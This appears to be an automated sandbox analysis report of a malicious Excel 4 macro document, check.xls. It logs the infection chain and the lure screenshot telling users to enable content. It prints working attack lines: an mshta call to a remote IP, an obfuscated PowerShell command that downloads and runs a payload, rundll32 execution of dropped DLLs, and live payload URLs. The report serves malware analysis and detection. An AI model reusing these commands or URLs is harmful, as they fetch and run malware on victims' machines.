Source: powershell.exe, 00000006.00000002.665179832.0000000003833000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://weddingbandsirelandjbk.com/hgsynt2/o/
Source: powershell.exe, 00000006.00000002.665179832.0000000003833000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://weddingbandsirelandjbk.com/hgsynt2/o/PE3
Source: powershell.exe, 00000006.00000002.665179832.0000000003833000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.yeald.finance
Source: powershell.exe, 00000006.00000002.665179832.0000000003833000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.yeald.finance/wp-adm
Source: powershell.exe, 00000006.00000002.665179832.0000000003833000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.yeald.finance/wp-admin/1WgPRm/
Source: powershell.exe, 00000006.00000002.665179832.0000000003833000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.yeald.finance/wp-admin/1WgPRm/PE3

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49167
Source: unknown	Network traffic detected: HTTP traffic on port 49167 -> 443

Source: unknown	TCP traffic detected without corresponding DNS query: 91.240.118.168
Source: unknown	TCP traffic detected without corresponding DNS query: 91.240.118.168
Source: unknown	TCP traffic detected without corresponding DNS query: 91.240.118.168
Source: unknown	TCP traffic detected without corresponding DNS query: 91.240.118.168
Source: unknown	TCP traffic detected without corresponding DNS query: 91.240.118.168
Source: unknown	TCP traffic detected without corresponding DNS query: 91.240.118.168
Source: unknown	TCP traffic detected without corresponding DNS query: 91.240.118.168
Source: unknown	TCP traffic detected without corresponding DNS query: 91.240.118.168
Source: unknown	TCP traffic detected without corresponding DNS query: 91.240.118.168
Source: unknown	TCP traffic detected without corresponding DNS query: 91.240.118.168
Source: unknown	TCP traffic detected without corresponding DNS query: 91.240.118.168
Source: unknown	TCP traffic detected without corresponding DNS query: 91.240.118.168
Source: unknown	TCP traffic detected without corresponding DNS query: 91.240.118.168
Source: unknown	TCP traffic detected without corresponding DNS query: 91.240.118.168
Source: unknown	TCP traffic detected without corresponding DNS query: 91.240.118.168
Source: unknown	TCP traffic detected without corresponding DNS query: 91.240.118.168
Source: unknown	TCP traffic detected without corresponding DNS query: 91.240.118.168
Source: unknown	TCP traffic detected without corresponding DNS query: 91.240.118.168
Source: unknown	TCP traffic detected without corresponding DNS query: 91.240.118.168
Source: unknown	TCP traffic detected without corresponding DNS query: 91.240.118.168

Source: mshta.exe, 00000004.00000003.402324314.000000000039C000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.421421637.000000000039C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: /moc.nideknil.wwwwww.linkedin.comK equals www.linkedin.com (Linkedin)
Source: mshta.exe, 00000004.00000003.402324314.000000000039C000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.421421637.000000000039C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: www.linkedin.com equals www.linkedin.com (Linkedin)
Source: powershell.exe, 00000006.00000002.659537368.000000000048E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: www.login.yahoo.com0 equals www.yahoo.com (Yahoo)

Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_1001B43F GetKeyState,GetKeyState,GetKeyState,GetKeyState,SendMessageA,		9_2_1001B43F
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 11_2_1001B43F GetKeyState,GetKeyState,GetKeyState,GetKeyState,SendMessageA,		11_2_1001B43F

Source: check.xls	Macro extractor: Sheet: Macro1 contains: mshta
Source: check.xls	Macro extractor: Sheet: Macro1 contains: mshta

Source: check.xls, type: SAMPLE	Matched rule: Detects OLE Excel 4 Macros documents acting as downloaders Author: ditekSHen
Source: C:\Users\user\Desktop\check.xls, type: DROPPED	Matched rule: Detects OLE Excel 4 Macros documents acting as downloaders Author: ditekSHen

Source: Screenshot number: 4	Screenshot OCR: ENABLE EDITING" and "ENABLE CONTENT" buttons to preview this document. 17 18 19 20 21 22 23
Source: Screenshot number: 4	Screenshot OCR: DOCUMENT IS PROTECTED. 11 12 13 14 Previewing is not available for protected documents. 15 16
Source: Screenshot number: 4	Screenshot OCR: protected documents. 15 16 You have to press "ENABLE EDITING" and "ENABLE CONTENT" buttons to pre
Source: Screenshot number: 4	Screenshot OCR: ENABLE CONTENT" buttons to preview this document. 17 18 19 20 21 22 23 24 25 26 27 28 2
Source: Document image extraction number: 0	Screenshot OCR: ENABLE EDITING" and "ENABLE CONTENT" buttons to preview this document.
Source: Document image extraction number: 0	Screenshot OCR: DOCUMENT IS PROTECTED. Previewing is not available for protected documents. You have to press "ENA
Source: Document image extraction number: 0	Screenshot OCR: protected documents. You have to press "ENABLE EDITING" and "ENABLE CONTENT" buttons to preview thi
Source: Document image extraction number: 0	Screenshot OCR: ENABLE CONTENT" buttons to preview this document.
Source: Document image extraction number: 1	Screenshot OCR: ENABLE EDITING" and "ENABLE CONTENT" buttons to preview this document.
Source: Document image extraction number: 1	Screenshot OCR: DOCUMENT IS PROTECTED. Previewing is not available for protected documents. You have to press "ENA
Source: Document image extraction number: 1	Screenshot OCR: protected documents. You have to press "ENABLE EDITING" and "ENABLE CONTENT" buttons to preview thi
Source: Document image extraction number: 1	Screenshot OCR: ENABLE CONTENT" buttons to preview this document.
Source: Screenshot number: 8	Screenshot OCR: DOCUMENT IS PROTECTED. 11 12 13 14 , . Previewing is not available for protected documents. Yo
Source: Screenshot number: 8	Screenshot OCR: protected documents. You have to press"4NABLE ED T NG" and "ENABLE CONTENT" buttons to prev ew th
Source: Screenshot number: 8	Screenshot OCR: ENABLE CONTENT" buttons to prev ew th s document 17 18 19 20 21 22 23 G) I I 24 25 26 27

Source: check.xls	Stream path 'Workbook' : ........ZO..........................\.p....xXx B.....a.........=.............................................=........p.08.......X.@...........".......................1...................C.a.l.i.b.r.i.1...................C.a.l.i.b.r.i.1...................C.a.l.i.b.r.i.1...................C.a.l.i.b.r.i.1...................C.a.l.i.b.r.i.1..h...6...........C.a.l.i.b.r.i. .L.i.g.h.t.1...,...6...........C.a.l.i.b.r.i.1.......6...........C.a.l.i.b.r.i.1.......6...........C.a.l.i.b.r.i.1...................C.a.l.i.b.r.i.1...................C.a.l.i.b.r.i.1.......<...........C.a.l.i.b.r.i.1.......>...........C.a.l.i.b.r.i.1.......?...........C.a.l.i.b.r.i.1.......4...........C.a.l.i.b.r.i.1.......4...........C.a.l.i.b.r.i.1...................C.a.l.i.b.r.i.1...................C.a.l.i.b.r.i.1...................C.a.l.i.b.r.i.1...................C.a.l.i.b.r.i.1...................C.a.l.i.b.r.i.1...................C.a.l.i.b.r.i.1...................C.a.l.i.b.r.i.1.......?...........C.a.l.i.b.r.i.1...................C.a.l.i.b.r.i.1...................C.a.l.i.b.r.i.1...................C.a.l.i.b.r.i.1...................A.r.i.a.l.1...................C.a.l.i.b.r.i.1...................C.a.l.i.b.r.i.1...................C.a.l.i.b.r.i.1.......?...........C.a.l.i.b.r.i.1...................C.a.l.i.b.r.i.1...................C.a.l.i.b.r.i.1.......9...........C.a.l.i.b.r.i...3......#.,.#.#.0.\. .".. ".;.\.-.#.,.#.#.0.\. .".. "...=......#.,.#.#.0.\. .".. ".;.[.R.e.d.].\.-.#.,.#.#.0.\. .".. "...?......#.,.#.#.0...0.0.\. .".. ".;.\.-.#.,.#.#.0...0.0.\. .".. "...I..."..#.,.#.#.0...0.0.\. .".. ".;.[.R.e.d.].\.-.#.,.#.#.0...0.0.\. .".. "...q..6.._.-.. .#.,.#.#.0.\. .".. "._.-.;.\.-.. .#.,.#.#.0.\. .".. "._.-.;._.-.. .".-.".\. .".. "._.-.;._.-.@._.-...,.).'.._- #,##0_-;\-* #,##0_-;_-* "-"_-;_-@_-....,.>.._.-.. .#.,.#.#.0...0.0.\. .".. "._.-.;.\.-.. .#.,.#.#.0...0.0.\. .".. "._.-.;._.-.. .".-.".?.?.\. .".. "._.-.;._.-.@._.-...4.+./.._- #,##0.00_-;\-* #,##0.00_-;_-* "-"??_-;_-@_-..?...:.._("$"* #,##0.00_);_("$"* \(#,##0.00\);_("$"* "-"??_);_(@_).......... ............ .......... ............ .......... ............ .......... ............ .......... ............ .......... ............ .......... ............ .......... ............ .......... ............ .......... ............ .......... ............ .......... ............ .......... ............ .......... ............ .......... ............ .......... ............ .......... ............ .......... ............ .......... ............ .......... ............ .......... ............ .......... ............ .......... ............ .......... ............ .......... ............ .......... ............ .......... ............ .......... ............ .......... ............ .......... ............ .......... ............ .......... ............ .......... ............ .......... ............ .......... ............ .....
Source: check.xls.0.dr	Stream path 'Workbook' : ........ZO..........................\.p....user B.....a.........=.............................................=........p.08.......X.@...........".......................1...................C.a.l.i.b.r.i.1...................C.a.l.i.b.r.i.1...................C.a.l.i.b.r.i.1...................C.a.l.i.b.r.i.1...................C.a.l.i.b.r.i.1..h...6...........C.a.l.i.b.r.i. .L.i.g.h.t.1...,...6...........C.a.l.i.b.r.i.1.......6...........C.a.l.i.b.r.i.1.......6...........C.a.l.i.b.r.i.1...................C.a.l.i.b.r.i.1...................C.a.l.i.b.r.i.1.......<...........C.a.l.i.b.r.i.1.......>...........C.a.l.i.b.r.i.1.......?...........C.a.l.i.b.r.i.1.......4...........C.a.l.i.b.r.i.1.......4...........C.a.l.i.b.r.i.1...................C.a.l.i.b.r.i.1...................C.a.l.i.b.r.i.1...................C.a.l.i.b.r.i.1...................C.a.l.i.b.r.i.1...................C.a.l.i.b.r.i.1...................C.a.l.i.b.r.i.1...................C.a.l.i.b.r.i.1.......?...........C.a.l.i.b.r.i.1...................C.a.l.i.b.r.i.1...................C.a.l.i.b.r.i.1...................C.a.l.i.b.r.i.1...................A.r.i.a.l.1...................C.a.l.i.b.r.i.1...................C.a.l.i.b.r.i.1...................C.a.l.i.b.r.i.1.......?...........C.a.l.i.b.r.i.1...................C.a.l.i.b.r.i.1...................C.a.l.i.b.r.i.1.......9...........C.a.l.i.b.r.i...3......#.,.#.#.0.\. .".. ".;.\.-.#.,.#.#.0.\. .".. "...=......#.,.#.#.0.\. .".. ".;.[.R.e.d.].\.-.#.,.#.#.0.\. .".. "...?......#.,.#.#.0...0.0.\. .".. ".;.\.-.#.,.#.#.0...0.0.\. .".. "...I..."..#.,.#.#.0...0.0.\. .".. ".;.[.R.e.d.].\.-.#.,.#.#.0...0.0.\. .".. "...q..6.._.-.. .#.,.#.#.0.\. .".. "._.-.;.\.-.. .#.,.#.#.0.\. .".. "._.-.;._.-.. .".-.".\. .".. "._.-.;._.-.@._.-...,.).'.._- #,##0_-;\-* #,##0_-;_-* "-"_-;_-@_-....,.>.._.-.. .#.,.#.#.0...0.0.\. .".. "._.-.;.\.-.. .#.,.#.#.0...0.0.\. .".. "._.-.;._.-.. .".-.".?.?.\. .".. "._.-.;._.-.@._.-...4.+./.._- #,##0.00_-;\-* #,##0.00_-;_-* "-"??_-;_-@_-..?...:.._("$"* #,##0.00_);_("$"* \(#,##0.00\);_("$"* "-"??_);_(@_).......... ............ .......... ............ .......... ............ .......... ............ .......... ............ .......... ............ .......... ............ .......... ............ .......... ............ .......... ............ .......... ............ .......... ............ .......... ............ .......... ............ .......... ............ .......... ............ .......... ............ .......... ............ .......... ............ .......... ............ .......... ............ .......... ............ .......... ............ .......... ............ .......... ............ .......... ............ .......... ............ .......... ............ .......... ............ .......... ............ .......... ............ .......... ............ .......... ............ .......... ............ .......... ............ .....

Source: check.xls	Initial sample: EXEC
Source: check.xls	Initial sample: EXEC

Source: check.xls	Macro extractor: Sheet name: Macro1
Source: check.xls	Macro extractor: Sheet name: Macro1

Source: C:\Windows\SysWOW64\rundll32.exe	Memory allocated: 76F90000 page execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Memory allocated: 76E90000 page execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Memory allocated: 76F90000 page execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Memory allocated: 76E90000 page execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Memory allocated: 76F90000 page execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Memory allocated: 76E90000 page execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Memory allocated: 76F90000 page execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Memory allocated: 76E90000 page execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Memory allocated: 76F90000 page execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Memory allocated: 76E90000 page execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Memory allocated: 76F90000 page execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Memory allocated: 76E90000 page execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Memory allocated: 76F90000 page execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Memory allocated: 76E90000 page execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Memory allocated: 76F90000 page execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Memory allocated: 76E90000 page execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Memory allocated: 76F90000 page execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Memory allocated: 76E90000 page execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Memory allocated: 76F90000 page execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Memory allocated: 76E90000 page execute and read and write	Jump to behavior

Source: check.xls, type: SAMPLE	Matched rule: SUSP_Excel4Macro_AutoOpen date = 2020-03-26, author = John Lambert @JohnLaTwC, description = Detects Excel4 macro use with auto open / close, score = 2fb198f6ad33d0f26fb94a1aa159fef7296e0421da68887b8f2548bbd227e58f
Source: check.xls, type: SAMPLE	Matched rule: INDICATOR_OLE_Excel4Macros_DL2 author = ditekSHen, description = Detects OLE Excel 4 Macros documents acting as downloaders
Source: C:\Users\user\Desktop\check.xls, type: DROPPED	Matched rule: SUSP_Excel4Macro_AutoOpen date = 2020-03-26, author = John Lambert @JohnLaTwC, description = Detects Excel4 macro use with auto open / close, score = 2fb198f6ad33d0f26fb94a1aa159fef7296e0421da68887b8f2548bbd227e58f
Source: C:\Users\user\Desktop\check.xls, type: DROPPED	Matched rule: INDICATOR_OLE_Excel4Macros_DL2 author = ditekSHen, description = Detects OLE Excel 4 Macros documents acting as downloaders

Source: C:\Windows\SysWOW64\rundll32.exe	Code function: String function: 10032B38 appears 108 times
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: String function: 100201F1 appears 34 times
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: String function: 100200FD appears 72 times
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: String function: 10030D27 appears 288 times
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: String function: 1001F9FC appears 52 times
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: String function: 10030D5A appears 82 times
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: String function: 100359C1 appears 46 times

Windows Analysis Report check.xls

Overview

General Information

Detection

Signatures

Classification

Signatures

AV Detection

Compliance

Spreading

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

E-Banking Fraud

System Summary

Data Obfuscation

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Screenshots

Behavior Graph

Network Map

Contacted Public IPs

Contacted Domains

Contacted URLs

Windows Analysis Report
check.xls

Source: check.xls	OLE indicator, VBA macros: true
Source: check.xls.0.dr	OLE indicator, VBA macros: true

Source: check.xls	OLE indicator, Workbook stream: true
Source: check.xls.0.dr	OLE indicator, Workbook stream: true

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................................................`I.........v.....................K........p.............................	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................y=.w.....................&.k....................................}..v.....q......0...............................`...............	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................y=.w.....................&.k..... ..............................}..v.... r......0.................p.............`...............	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................y=.w.....................'.k....................................}..v....X~......0...............................`...............	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................y=.w.....................'.k......p.............................}..v.....~......0...............(.p.............`...............	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................y=.w....#...............B$.k....................................}..v............0...............................`...............	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................y=.w....#...............B$.k....X.p.............................}..v............0.................p.............`...............	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................y=.w....'................?.k....E...............................}..v....PN......0.................p.............`...............	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................y=.w....+................?.k....E...............................}..v............0.................p.............`...............	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................y=.w....+.......P.S. .C.:.\.U.s.e.r.s.\.A.l.b.u.s.\.D.o.c.u.m.e.n.t.s.>. .......0...............h.......:.......`...............	Jump to behavior

Source: unknown	Process created: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE "C:\Program Files\Microsoft Office\Office14\EXCEL.EXE" /automation -Embedding
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process created: C:\Windows\System32\cmd.exe cmd /c mshta http://91.240.118.168/zzx/ccv/fe.html
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\mshta.exe mshta http://91.240.118.168/zzx/ccv/fe.html
Source: C:\Windows\System32\mshta.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit $c1='({FdrggvdRf}{FdrggvdRf}Ne{FdrggvdRf}{FdrggvdRf}w{FdrggvdRf}-Obj{FdrggvdRf}ec{FdrggvdRf}{FdrggvdRf}t N{FdrggvdRf}{FdrggvdRf}et{FdrggvdRf}.W{FdrggvdRf}{FdrggvdRf}e'.replace('{FdrggvdRf}', ''); $c4='bC{FdrggvdRf}li{FdrggvdRf}{FdrggvdRf}en{FdrggvdRf}{FdrggvdRf}t).D{FdrggvdRf}{FdrggvdRf}ow{FdrggvdRf}{FdrggvdRf}nl{FdrggvdRf}{FdrggvdRf}{FdrggvdRf}o'.replace('{FdrggvdRf}', ''); $c3='ad{FdrggvdRf}{FdrggvdRf}St{FdrggvdRf}rin{FdrggvdRf}{FdrggvdRf}g{FdrggvdRf}(''ht{FdrggvdRf}tp{FdrggvdRf}://91.240.118.168/zzx/ccv/fe.png'')'.replace('{FdrggvdRf}', '');$JI=($c1,$c4,$c3 -Join '');I`E`X $JI\|I`E`X
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\system32\cmd.exe" /c C:\Windows\SysWow64\rundll32.exe C:\Users\Public\Documents\ssd.dll AnyString
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWow64\rundll32.exe C:\Users\Public\Documents\ssd.dll AnyString
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWOW64\rundll32.exe "C:\Users\Public\Documents\ssd.dll",DllRegisterServer
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Vynkcaqowyax\awlbpzydkj.dai",eCIlnBbopQsHZ
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Vynkcaqowyax\awlbpzydkj.dai",DllRegisterServer
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Nbcvytvfdctpr\ypizexh.jni",DTzZcwBzvukLX
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Nbcvytvfdctpr\ypizexh.jni",DllRegisterServer
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Ditxkaqsfgmceab\rvapdmavyfv.jgp",XhTgIPP
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Ditxkaqsfgmceab\rvapdmavyfv.jgp",DllRegisterServer
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Qnjqx\xohsny.wba",zykxfMjqzK
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Qnjqx\xohsny.wba",DllRegisterServer
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process created: C:\Windows\System32\cmd.exe cmd /c mshta http://91.240.118.168/zzx/ccv/fe.html	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\mshta.exe mshta http://91.240.118.168/zzx/ccv/fe.html	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit $c1='({FdrggvdRf}{FdrggvdRf}Ne{FdrggvdRf}{FdrggvdRf}w{FdrggvdRf}-Obj{FdrggvdRf}ec{FdrggvdRf}{FdrggvdRf}t N{FdrggvdRf}{FdrggvdRf}et{FdrggvdRf}.W{FdrggvdRf}{FdrggvdRf}e'.replace('{FdrggvdRf}', ''); $c4='bC{FdrggvdRf}li{FdrggvdRf}{FdrggvdRf}en{FdrggvdRf}{FdrggvdRf}t).D{FdrggvdRf}{FdrggvdRf}ow{FdrggvdRf}{FdrggvdRf}nl{FdrggvdRf}{FdrggvdRf}{FdrggvdRf}o'.replace('{FdrggvdRf}', ''); $c3='ad{FdrggvdRf}{FdrggvdRf}St{FdrggvdRf}rin{FdrggvdRf}{FdrggvdRf}g{FdrggvdRf}(''ht{FdrggvdRf}tp{FdrggvdRf}://91.240.118.168/zzx/ccv/fe.png'')'.replace('{FdrggvdRf}', '');$JI=($c1,$c4,$c3 -Join '');I`E`X $JI\|I`E`X	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\system32\cmd.exe" /c C:\Windows\SysWow64\rundll32.exe C:\Users\Public\Documents\ssd.dll AnyString	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWow64\rundll32.exe C:\Users\Public\Documents\ssd.dll AnyString	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWOW64\rundll32.exe "C:\Users\Public\Documents\ssd.dll",DllRegisterServer	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Vynkcaqowyax\awlbpzydkj.dai",eCIlnBbopQsHZ	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Vynkcaqowyax\awlbpzydkj.dai",DllRegisterServer	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Nbcvytvfdctpr\ypizexh.jni",DTzZcwBzvukLX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Nbcvytvfdctpr\ypizexh.jni",DllRegisterServer	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Ditxkaqsfgmceab\rvapdmavyfv.jgp",XhTgIPP	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Ditxkaqsfgmceab\rvapdmavyfv.jgp",DllRegisterServer	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Qnjqx\xohsny.wba",zykxfMjqzK	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Qnjqx\xohsny.wba",DllRegisterServer	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: C:\Windows\assembly\NativeImages_v2.0.50727_64\mscorlib\fe6ac93181b40a571892e14bfb9d65f2\mscorlib.ni.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: C:\Windows\assembly\GAC_64\mscorlib\2.0.0.0__b77a5c561934e089\sorttbls.nlp	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: C:\Windows\assembly\GAC_64\mscorlib\2.0.0.0__b77a5c561934e089\sortkey.nlp	Jump to behavior

Source: C:\Windows\System32\mshta.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\System32\mshta.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior

Source: C:\Windows\System32\mshta.exe	Code function: 4_3_036A00C6 push 8B4902C6h; iretd	4_3_036A00CC
Source: C:\Windows\System32\mshta.exe	Code function: 4_3_036A08C7 push 8B4902C6h; iretd	4_3_036A08CC
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_10032B7D push ecx; ret	9_2_10032B90
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_10030DFF push ecx; ret	9_2_10030E12
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 11_2_10032B7D push ecx; ret	11_2_10032B90
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 11_2_10030DFF push ecx; ret	11_2_10030E12

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Documents\ssd.dll			Jump to dropped file
Source: C:\Windows\SysWOW64\rundll32.exe	File created: C:\Windows\SysWOW64\Vynkcaqowyax\awlbpzydkj.dai (copy)			Jump to dropped file

Source: C:\Windows\SysWOW64\rundll32.exe	File opened: C:\Windows\SysWOW64\Vynkcaqowyax\awlbpzydkj.dai:Zone.Identifier read attributes \| delete	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	File opened: C:\Windows\SysWOW64\Nbcvytvfdctpr\ypizexh.jni:Zone.Identifier read attributes \| delete	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	File opened: C:\Windows\SysWOW64\Ditxkaqsfgmceab\rvapdmavyfv.jgp:Zone.Identifier read attributes \| delete	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	File opened: C:\Windows\SysWOW64\Qnjqx\xohsny.wba:Zone.Identifier read attributes \| delete	Jump to behavior

Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_100134F0 IsIconic,	9_2_100134F0
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_10018C9A IsIconic,GetWindowPlacement,GetWindowRect,	9_2_10018C9A
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 11_2_100134F0 IsIconic,	11_2_100134F0
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 11_2_10018C9A IsIconic,GetWindowPlacement,GetWindowRect,	11_2_10018C9A